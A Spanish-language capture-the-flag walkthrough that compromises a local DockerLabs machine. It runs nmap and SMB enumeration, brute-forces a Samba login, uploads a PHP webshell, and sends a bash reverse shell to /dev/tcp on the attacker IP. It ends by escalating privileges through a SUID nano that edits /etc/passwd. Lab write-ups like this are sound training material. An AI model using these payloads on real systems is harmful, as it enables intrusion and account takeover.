Domain
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯Resolución
🔍 Reconocimiento
Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:
ping -c 3 172.17.0.2
📌 El valor TTL=64 → Linux
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
-
-sVC: Escaneo de versiones de servicios y ejecución de scripts. -
-p-: Escanea todos los puertos (1-65535). -
-n: Desactiva la resolución DNS. -
--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.

👀 Detectamos los siguientes servicios activos: -
🌐 HTTP en el puerto 80
-
📦 Samba en los puertos 139 y 445
Al acceder al sitio web en el puerto 80:

📄 Se menciona Samba en la página, lo que indica que podría ser el foco de este CTF.
🕵️Análisis de vulnerabilidades
Lanzamos un escaneo con smbmap para identificar recursos compartidos accesibles:
smbmap -H 172.17.0.2

❌ No tenemos acceso directo, pero sí podemos ver los nombres de los recursos compartidos.
Aprovechamos rpcclient sin autenticación para enumerar información sensible:
Comandos útiles:
-
srvinfo→ Información del servidor -
enumdomusersoquerydispinfo→ Enumerar usuarios
rpcclient -U '' -N 172.17.0.2
srvinfo
querydispinfo and enumdomuser

✅ Obtenemos dos usuarios válidos:
-
👤
james -
👤
bob
🎯 Explotación
Como siempre, si tenemos un usuario, intentamos fuerza bruta. En este caso usamos Metasploit:
sudo msfconsole
use /scanner/smb/smb_login
Ponemos la IP de la máquina víctima y el usuario que vamos a probar la fuerza bruta y el diccionario para hacer fuerza bruta, en este caso rockyou.txt
set RHOSTS 172.17.0.2
set SMBUser bob
set PASS_FILE /usr/share/wordlists/rockyou.txt
🔐 Encontramos la contraseña de bob que es star

🔍 Verificamos los permisos del usuario bob usando smbmap:
smbmap -u bob -p star -H 172.17.0.2
📂 Vemos que el recurso html tiene permisos de lectura y escritura

📁 Listamos los archivos del recurso compartido html:
smbmap -u bob -p star -H 172.17.0.2 -r html
Encontramos el index.html — corresponde a la página web principal.

Creamos una webshell básica en PHP:
<pre>
<?php echo shell_exec($_GET['cmd']); ?>
</pre>
📤 Subimos el archivo al recurso compartido:
smbclient //172.17.0.2/html -U bob%star -c "put pwned.php"
✅ Probamos la ejecución desde el navegador: http://172.17.0.2/pwned.php?cmd=whoami

Generamos una reverse shell con revshells.com:
-
IP atacante:
172.17.0.1 -
Puerto:
9001
🎧 Escuchamos en la máquina atacante:
nc -lvnp 9001
Generamos el payload en bash, lo codificamos en URL y lo utilizamos así:
http://172.17.0.2/pwned.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/9001%200%3E%261%22
📸 Conexión exitosa:

Para mejorar la experiencia, ejecutamos los siguientes comandos:
script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash
Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:
# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115
📈 Escalada de privilegios
👤 Nos autenticamos como el usuario bob con la contraseña star:
su star
Ahora somos bob

Una vez con acceso al sistema, buscamos archivos con el bit SUID activado para identificar posibles vectores de escalada local:
find / -type f -perm -4000 2>/dev/null
🔍 Este comando lista archivos ejecutables con permisos de usuario propietario (root) que pueden ser explotados.
🚨 Archivos SUID Interesantes
Identificamos que el binario nano tiene permisos SUID, lo que significa que se ejecuta con los privilegios del propietario (en este caso, root). Este comportamiento puede ser aprovechado para escalar privilegios a nivel administrador.

📂 Usamos nano para editar /etc/passwd y eliminar el campo x de root para quitar la contraseña:
/usr/bin/nano /etc/passwd

